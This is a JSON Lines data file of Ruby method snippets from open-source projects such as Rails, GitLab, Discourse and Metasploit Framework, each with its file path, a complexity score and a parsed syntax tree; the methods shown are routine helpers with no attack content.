{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/elgg.rb","start_line":9,"raw_source":"def initialize\n    super\n\n    @client =\n      Mysql2::Client.new(host: \"127.0.0.1\", port: \"3306\", username: \"\", database: \"\", password: \"\")\n\n    SiteSetting.max_username_length = 50\n  end","complexity_score":3.25,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@client\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mysql2\"]},\"Client\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"str\",\"children\":[\"127.0.0.1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"str\",\"children\":[\"3306\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"max_username_length=\",{\"type\":\"int\",\"children\":[50]}]}]}]}","id":"3515eab8-0aae-44ea-8ae7-dbb845297dd0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/database_configurations/connection_url_resolver.rb","start_line":64,"raw_source":"def raw_config\n          if uri.opaque\n            query_hash.merge(\n              adapter: @adapter,\n              database: uri.opaque\n            )\n          else\n            query_hash.reverse_merge(\n              adapter: @adapter,\n              username: uri.user,\n              password: uri.password,\n              port: uri.port,\n              database: database_from_path,\n              host: uri.hostname\n            )\n          end\n        end","complexity_score":23.3,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uri\"]},\"opaque\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_hash\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"ivar\",\"children\":[\"@adapter\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uri\"]},\"opaque\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_hash\"]},\"reverse_merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"ivar\",\"children\":[\"@adapter\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uri\"]},\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uri\"]},\"password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uri\"]},\"port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"send\",\"children\":[null,\"database_from_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uri\"]},\"hostname\"]}]}]}]}]}]}","id":"8b166f61-6341-4a74-aed1-3f510137a58d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/merge_requests/message_generator.rb","start_line":26,"raw_source":"def new_mr_description\n        return unless @merge_request.description.present?\n\n        replace_placeholders(\n          @merge_request.description,\n          allowed_placeholders: ALLOWED_NEW_MR_PLACEHOLDERS,\n          keep_carriage_return: true\n        )\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"new_mr_description\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},\"description\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"replace_placeholders\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},\"description\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allowed_placeholders\"]},{\"type\":\"const\",\"children\":[null,\"ALLOWED_NEW_MR_PLACEHOLDERS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"keep_carriage_return\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"1537488a-bdb0-41d9-b181-e6edb02c375c"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/conditional_assignment.rb","start_line":598,"raw_source":"def extract_tail_branches(node)\n            if_branch, *elsif_branches, else_branch = *node.branches\n            elsif_branches.map! { |branch| tail(branch) }\n\n            [tail(if_branch), elsif_branches, tail(else_branch)]\n          end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_tail_branches\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"if_branch\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"elsif_branches\"]}]},{\"type\":\"lvasgn\",\"children\":[\"else_branch\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"branches\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elsif_branches\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"branch\"]}]},{\"type\":\"send\",\"children\":[null,\"tail\",{\"type\":\"lvar\",\"children\":[\"branch\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tail\",{\"type\":\"lvar\",\"children\":[\"if_branch\"]}]},{\"type\":\"lvar\",\"children\":[\"elsif_branches\"]},{\"type\":\"send\",\"children\":[null,\"tail\",{\"type\":\"lvar\",\"children\":[\"else_branch\"]}]}]}]}]}","id":"66f781fb-d978-4b17-8e2f-698e438e44d0"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/article.rb","start_line":1417,"raw_source":"def enrich_image_attributes\n    return unless saved_change_to_attribute?(:processed_html) || saved_change_to_attribute?(:main_image)\n\n    ::Articles::EnrichImageAttributesWorker.perform_async(id)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"enrich_image_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"saved_change_to_attribute?\",{\"type\":\"sym\",\"children\":[\"processed_html\"]}]},{\"type\":\"send\",\"children\":[null,\"saved_change_to_attribute?\",{\"type\":\"sym\",\"children\":[\"main_image\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Articles\"]},\"EnrichImageAttributesWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}","id":"31a0fcd0-45fe-47ab-aa01-046b50653676"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/policies/scm/authorization_policy.rb","start_line":59,"raw_source":"def read_access?\n    user.allowed_in_project?(:browse_repository, project)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"read_access?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"browse_repository\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}","id":"87455086-da56-4bcc-9319-fcfe0111b38d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/smb.rb","start_line":38,"raw_source":"def execute_file(full_path, args)\n    if File.extname(full_path) == '.rb'\n      Rex::Script::Shell.new(self, full_path).run(args)\n    else\n      console.load_resource(full_path)\n    end\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"full_path\"]},{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"extname\",{\"type\":\"lvar\",\"children\":[\"full_path\"]}]},\"==\",{\"type\":\"str\",\"children\":[\".rb\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Script\"]},\"Shell\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"full_path\"]}]},\"run\",{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"console\"]},\"load_resource\",{\"type\":\"lvar\",\"children\":[\"full_path\"]}]}]}]}","id":"797d5bac-5b0e-49d7-a295-f6b37597cbd7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/redis.rb","start_line":46,"raw_source":"def redis_command(*commands)\n      command_string = printable_redis_response(commands.join(' '))\n      unless (command_response = send_redis_command(*commands))\n        vprint_error(\"No response to '#{command_string}'\")\n        return\n      end\n      if (match = authentication_required?(command_response))\n        auth_response = match[:auth_response]\n\n        fail_with(::Msf::Module::Failure::BadConfig, \"#{peer} requires authentication but Password unset\") unless datastore['Password']\n        vprint_status(\"Requires authentication (#{printable_redis_response(auth_response, false)})\")\n\n        if (auth_response = send_redis_command('AUTH', datastore['PASSWORD']))\n          unless auth_response =~ Rex::Proto::Redis::Base::Constants::OKAY\n            vprint_error(\"Authentication failure: #{printable_redis_response(auth_response)}\")\n            return\n          end\n          vprint_status(\"Authenticated\")\n          unless (command_response = send_redis_command(*commands))\n            vprint_error(\"No response to '#{command_string}'\")\n            return\n          end\n        else\n          vprint_status(\"Authentication failed; no response\")\n          return\n        end\n      end\n\n      vprint_status(\"Redis command '#{command_string}' got '#{printable_redis_response(command_response)}'\")\n      command_response\n    end","complexity_score":45.6,"ast_json":"{\"type\":\"def\",\"children\":[\"redis_command\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"commands\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command_string\",{\"type\":\"send\",\"children\":[null,\"printable_redis_response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commands\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command_response\",{\"type\":\"send\",\"children\":[null,\"send_redis_command\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commands\"]}]}]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No response to '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command_string\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[null,\"authentication_required?\",{\"type\":\"lvar\",\"children\":[\"command_response\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"auth_response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"auth_response\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Password\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Msf\"]},\"Module\"]},\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" requires authentication but Password unset\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Requires authentication (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"printable_redis_response\",{\"type\":\"lvar\",\"children\":[\"auth_response\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"auth_response\",{\"type\":\"send\",\"children\":[null,\"send_redis_command\",{\"type\":\"str\",\"children\":[\"AUTH\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_response\"]},\"=~\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Redis\"]},\"Base\"]},\"Constants\"]},\"OKAY\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Authentication failure: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"printable_redis_response\",{\"type\":\"lvar\",\"children\":[\"auth_response\"]}]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Authenticated\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command_response\",{\"type\":\"send\",\"children\":[null,\"send_redis_command\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commands\"]}]}]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No response to '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command_string\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Authentication failed; no response\"]}]},{\"type\":\"return\",\"children\":[]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Redis command '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command_string\"]}]},{\"type\":\"str\",\"children\":[\"' got '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"printable_redis_response\",{\"type\":\"lvar\",\"children\":[\"command_response\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"lvar\",\"children\":[\"command_response\"]}]}]}","id":"f1ac300f-ee6f-4a0c-a943-98fe19c0050f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relations_test.rb","start_line":1121,"raw_source":"def test_multiple_selects\n    post = Post.all.select(\"comments_count\").select(\"title\").order(\"id ASC\").first\n    assert_equal \"Welcome to the weblog\", post.title\n    assert_equal 2, post.comments_count\n  end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_multiple_selects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"all\"]},\"select\",{\"type\":\"str\",\"children\":[\"comments_count\"]}]},\"select\",{\"type\":\"str\",\"children\":[\"title\"]}]},\"order\",{\"type\":\"str\",\"children\":[\"id ASC\"]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Welcome to the weblog\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"title\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"comments_count\"]}]}]}]}","id":"163c4c81-2637-48b4-98a1-387fd0137a5c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/scripts/meterpreter/schtasksabuse.rb","start_line":113,"raw_source":"def unsupported\n  print_error(\"This version of Meterpreter is not supported with this Script!\")\n  raise Rex::Script::Completed\nend","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"unsupported\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"This version of Meterpreter is not supported with this Script!\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Script\"]},\"Completed\"]}]}]}]}","id":"96f7f6a5-147d-4e0c-91da-0850234a9451"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/iap_detail.rb","start_line":59,"raw_source":"def setup\n        @raw_pricing_data = @raw_data[\"pricingData\"]\n        @raw_data.delete(\"pricingData\")\n\n        if @raw_pricing_data\n          @raw_data.set([\"pricingIntervals\"], @raw_pricing_data[\"subscriptions\"])\n        end\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@raw_pricing_data\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pricingData\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_data\"]},\"delete\",{\"type\":\"str\",\"children\":[\"pricingData\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_pricing_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_data\"]},\"set\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"pricingIntervals\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_pricing_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"subscriptions\"]}]}]},null]}]}]}","id":"7e80e89b-41cc-42e4-8930-d7ee5c1813ae"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/ipboard.rb","start_line":322,"raw_source":"def import_categories\n    puts \"\", \"importing categories...\"\n\n    categories =\n      mysql_query(\n        \"\n                  SELECT id,\n                         name name,\n\t                 parent_id as parent_id\n                  FROM #{FORUMS_TABLE}\n                  ORDER BY parent_id ASC\n                            \",\n      ).to_a\n\n    top_level_categories = categories.select { |c| c[\"parent.id\"] == -1 }\n\n    create_categories(top_level_categories) do |category|\n      id = category[\"id\"].to_s\n      name = category[\"name\"]\n      { id: id, name: name }\n    end\n\n    children_categories = categories.select { |c| c[\"parent.id\"] != -1 }\n    create_categories(children_categories) do |category|\n      id = category[\"id\"].to_s\n      name = category[\"name\"]\n      {\n        id: id,\n        name: name,\n        parent_category_id: @lookup.category_id_from_imported_category_id(category[\"parent_id\"]),\n        color: random_category_color,\n      }\n    end\n  end","complexity_score":35.2,"ast_json":"{\"type\":\"def\",\"children\":[\"import_categories\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"importing categories...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"categories\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"                  SELECT id,\\n\"]},{\"type\":\"str\",\"children\":[\"                         name name,\\n\"]},{\"type\":\"str\",\"children\":[\"\\t                 parent_id as parent_id\\n\"]},{\"type\":\"str\",\"children\":[\"                  FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FORUMS_TABLE\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"                  ORDER BY parent_id ASC\\n\"]},{\"type\":\"str\",\"children\":[\"                            \"]}]}]},\"to_a\"]}]},{\"type\":\"lvasgn\",\"children\":[\"top_level_categories\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"categories\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"str\",\"children\":[\"parent.id\"]}]},\"==\",{\"type\":\"int\",\"children\":[-1]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_categories\",{\"type\":\"lvar\",\"children\":[\"top_level_categories\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"children_categories\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"categories\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"str\",\"children\":[\"parent.id\"]}]},\"!=\",{\"type\":\"int\",\"children\":[-1]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_categories\",{\"type\":\"lvar\",\"children\":[\"children_categories\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_category_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lookup\"]},\"category_id_from_imported_category_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"str\",\"children\":[\"parent_id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color\"]},{\"type\":\"send\",\"children\":[null,\"random_category_color\"]}]}]}]}]}]}]}","id":"600d356b-b164-4443-8d4d-747f5679ee0a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/flow/pipeline.rb","start_line":23,"raw_source":"def wait_for_latest_pipeline(status: nil, wait: 120)\n        Page::Project::Menu.perform(&:go_to_pipelines)\n        Page::Project::Pipeline::Index.perform do |index|\n          index.has_any_pipeline?(wait: wait)\n          index.wait_for_latest_pipeline(status: status, wait: wait)\n        end\n      end","complexity_score":6.85,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_for_latest_pipeline\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"status\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"wait\",{\"type\":\"int\",\"children\":[120]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Project\"]},\"Menu\"]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"go_to_pipelines\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Project\"]},\"Pipeline\"]},\"Index\"]},\"perform\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"has_any_pipeline?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"lvar\",\"children\":[\"wait\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"wait_for_latest_pipeline\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"lvar\",\"children\":[\"wait\"]}]}]}]}]}]}]}]}","id":"b1a325db-377a-4270-b71f-24027da13f7a"}
